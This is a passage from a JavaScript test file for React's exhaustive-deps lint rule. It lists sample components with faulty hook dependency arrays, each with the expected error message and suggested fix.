{};\n          const dependencies = [local];\n          useEffect(() => {\n            console.log(local);\n          }, dependencies);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect was passed a dependency list that is not an ' +\n            \"array literal. This means we can't statically verify whether you've \" +\n            'passed the correct dependencies.',\n          // TODO: should this autofix or bail out?\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const dependencies = [local];\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const dependencies = [local];\n          useEffect(() => {\n            console.log(local);\n          }, [...dependencies]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const dependencies = [local];\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a spread element in its dependency array. ' +\n            \"This means we can't statically verify whether you've passed the \" +\n            'correct dependencies.',\n          // TODO: should this autofix or bail out?\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(local);\n          }, [local, ...dependencies]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has a spread element in its dependency array. ' +\n            \"This means we can't statically verify whether you've passed the \" +\n            'correct dependencies.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, [computeCacheKey(local)]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          // TODO: I'm not sure this is a good idea.\n          // Maybe bail out?\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.items[0]);\n          }, [props.items[0]]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.items'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.items]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.items[0]);\n                  }, [props.items]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.items[0]);\n          }, [props.items, props.items[0]]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          // TODO: ideally suggestion would remove the bad expression?\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ items }) {\n          useEffect(() => {\n            console.log(items[0]);\n          }, [items[0]]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'items'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [items]',\n              output: normalizeIndent`\n                function MyComponent({ items }) {\n                  useEffect(() => {\n                    console.log(items[0]);\n                  }, [items]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ items }) {\n          useEffect(() => {\n            console.log(items[0]);\n          }, [items, items[0]]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          // TODO: ideally suggeston would remove the bad expression?\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      // It is not valid for useCallback to specify extraneous deps\n      // because it doesn't serve as a side effect trigger unlike useEffect.\n      // However, we generally allow specifying *broader* deps as escape hatch.\n      // So while [props, props.foo] is unnecessary, 'props' wins here as the\n      // broader one, and this is why 'props.foo' is reported as unnecessary.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = {};\n          useCallback(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, [props, props.foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'props.foo'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const local = {};\n                  useCallback(() => {\n                    console.log(props.foo);\n                    console.log(props.bar);\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Since we don't have 'props' in the list, we'll suggest narrow dependencies.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = {};\n          useCallback(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has missing dependencies: 'props.bar' and 'props.foo'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.bar, props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const local = {};\n                  useCallback(() => {\n                    console.log(props.foo);\n                    console.log(props.bar);\n                  }, [props.bar, props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Effects are allowed to over-specify deps. We'll complain about missing\n      // 'local', but we won't remove the already-specified 'local.id' from your list.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {id: 42};\n          useEffect(() => {\n            console.log(local);\n          }, [local.id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local, local.id]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {id: 42};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local, local.id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Callbacks are not allowed to over-specify deps. So we'll complain about missing\n      // 'local' and we will also *remove* 'local.id' from your list.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {id: 42};\n          const fn = useCallback(() => {\n            console.log(local);\n          }, [local.id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {id: 42};\n                  const fn = useCallback(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Callbacks are not allowed to over-specify deps. So we'll complain about\n      // the unnecessary 'local.id'.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {id: 42};\n          const fn = useCallback(() => {\n            console.log(local);\n          }, [local.id, local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'local.id'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {id: 42};\n                  const fn = useCallback(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props.foo.bar.baz);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo.bar.baz'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo.bar.baz]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const fn = useCallback(() => {\n                    console.log(props.foo.bar.baz);\n                  }, [props.foo.bar.baz]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let color = {}\n          const fn = useCallback(() => {\n            console.log(props.foo.bar.baz);\n            console.log(color);\n          }, [props.foo, props.foo.bar.baz]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'color'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [color, props.foo.bar.baz]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let color = {}\n                  const fn = useCallback(() => {\n                    console.log(props.foo.bar.baz);\n                    console.log(color);\n                  }, [color, props.foo.bar.baz]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Callbacks are not allowed to over-specify deps. So one of these is extra.\n      // However, it *is* allowed to specify broader deps then strictly necessary.\n      // So in this case we ask you to remove 'props.foo.bar.baz' because 'props.foo'\n      // already covers it, and having both is unnecessary.\n      // TODO: maybe consider suggesting a narrower one by default in these cases.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo.bar.baz, props.foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'props.foo.bar.baz'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const fn = useCallback(() => {\n                    console.log(props.foo.bar.baz);\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props.foo.bar.baz);\n            console.log(props.foo.fizz.bizz);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has missing dependencies: 'props.foo.bar.baz' and 'props.foo.fizz.bizz'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo.bar.baz, props.foo.fizz.bizz]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const fn = useCallback(() => {\n                    console.log(props.foo.bar.baz);\n                    console.log(props.foo.fizz.bizz);\n                  }, [props.foo.bar.baz, props.foo.fizz.bizz]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Normally we allow specifying deps too broadly.\n      // So we'd be okay if 'props.foo.bar' was there rather than 'props.foo.bar.baz'.\n      // However, 'props.foo.bar.baz' is missing. So we know there is a mistake.\n      // When we're sure there is a mistake, for callbacks we will rebuild the list\n      // from scratch. This will set the user on a better path by default.\n      // This is why we end up with just 'props.foo.bar', and not them both.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props.foo.bar);\n          }, [props.foo.bar.baz]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo.bar'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo.bar]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const fn = useCallback(() => {\n                    console.log(props.foo.bar);\n                  }, [props.foo.bar]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props);\n            console.log(props.hello);\n          }, [props.foo.bar.baz]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const fn = useCallback(() => {\n                    console.log(props);\n                    console.log(props.hello);\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, [local, local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a duplicate dependency: 'local'. \" +\n            'Either omit it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = {};\n          useCallback(() => {\n            const local1 = {};\n            console.log(local1);\n          }, [local1]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'local1'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = {};\n                  useCallback(() => {\n                    const local1 = {};\n                    console.log(local1);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = {};\n          useCallback(() => {}, [local1]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'local1'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = {};\n                  useCallback(() => {}, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'props.bar' and 'props.foo'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.bar, props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                    console.log(props.bar);\n                  }, [props.bar, props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let a, b, c, d, e, f, g;\n          useEffect(() => {\n            console.log(b, e, d, c, a, g, f);\n          }, [c, a, g]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'b', 'd', 'e', and 'f'. \" +\n            'Either include them or remove the dependency array.',\n          // Don't alphabetize if it wasn't alphabetized in the first place.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [c, a, g, b, e, d, f]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let a, b, c, d, e, f, g;\n                  useEffect(() => {\n                    console.log(b, e, d, c, a, g, f);\n                  }, [c, a, g, b, e, d, f]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let a, b, c, d, e, f, g;\n          useEffect(() => {\n            console.log(b, e, d, c, a, g, f);\n          }, [a, c, g]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'b', 'd', 'e', and 'f'. \" +\n            'Either include them or remove the dependency array.',\n          // Alphabetize if it was alphabetized.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [a, b, c, d, e, f, g]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let a, b, c, d, e, f, g;\n                  useEffect(() => {\n                    console.log(b, e, d, c, a, g, f);\n                  }, [a, b, c, d, e, f, g]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let a, b, c, d, e, f, g;\n          useEffect(() => {\n            console.log(b, e, d, c, a, g, f);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'a', 'b', 'c', 'd', 'e', 'f', and 'g'. \" +\n            'Either include them or remove the dependency array.',\n          // Alphabetize if it was empty.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [a, b, c, d, e, f, g]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let a, b, c, d, e, f, g;\n                  useEffect(() => {\n                    console.log(b, e, d, c, a, g, f);\n                  }, [a, b, c, d, e, f, g]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = {};\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n            console.log(local);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'local', 'props.bar', and 'props.foo'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local, props.bar, props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(props.foo);\n                    console.log(props.bar);\n                    console.log(local);\n                  }, [local, props.bar, props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = {};\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n            console.log(local);\n          }, [props]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local, props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(props.foo);\n                    console.log(props.bar);\n                    console.log(local);\n                  }, [local, props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n          }, []);\n          useCallback(() => {\n            console.log(props.foo);\n          }, []);\n          useMemo(() => {\n            console.log(props.foo);\n          }, []);\n          React.useEffect(() => {\n            console.log(props.foo);\n          }, []);\n          React.useCallback(() => {\n            console.log(props.foo);\n          }, []);\n          React.useMemo(() => {\n            console.log(props.foo);\n          }, []);\n          React.notReactiveHook(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useMemo has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook React.useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook React.useCallback has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook React.useMemo has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useMemo(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCallback(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useMemo(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.notReactiveHook(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, []);\n          useEffect(() => {\n            console.log(props.foo);\n          }, []);\n          React.useEffect(() => {\n            console.log(props.foo);\n          }, []);\n          React.useCustomEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      options: [{additionalHooks: 'useCustomEffect'}],\n      errors: [\n        {\n          message:\n            \"React Hook useCustomEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            \"React Hook React.useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  useEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                  React.useEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                  React.useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Test settings-based additionalHooks - should detect missing dependency\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      settings: {\n        'react-hooks': {\n          additionalEffectHooks: 'useCustomEffect',\n        },\n      },\n      errors: [\n        {\n          message:\n            \"React Hook useCustomEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useCustomEffect(() => {\n                    console.log(props.foo);\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, [a ? local : b]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          // TODO: should we bail out instead?\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, [a && local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          // TODO: should we bail out instead?\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {}, [props?.attribute.method()]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {}, [props.method()]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has a complex expression in the dependency array. ' +\n            'Extract it to a separate variable so it can be statically checked.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          const [state, setState] = useState();\n          useEffect(() => {\n            ref.current = 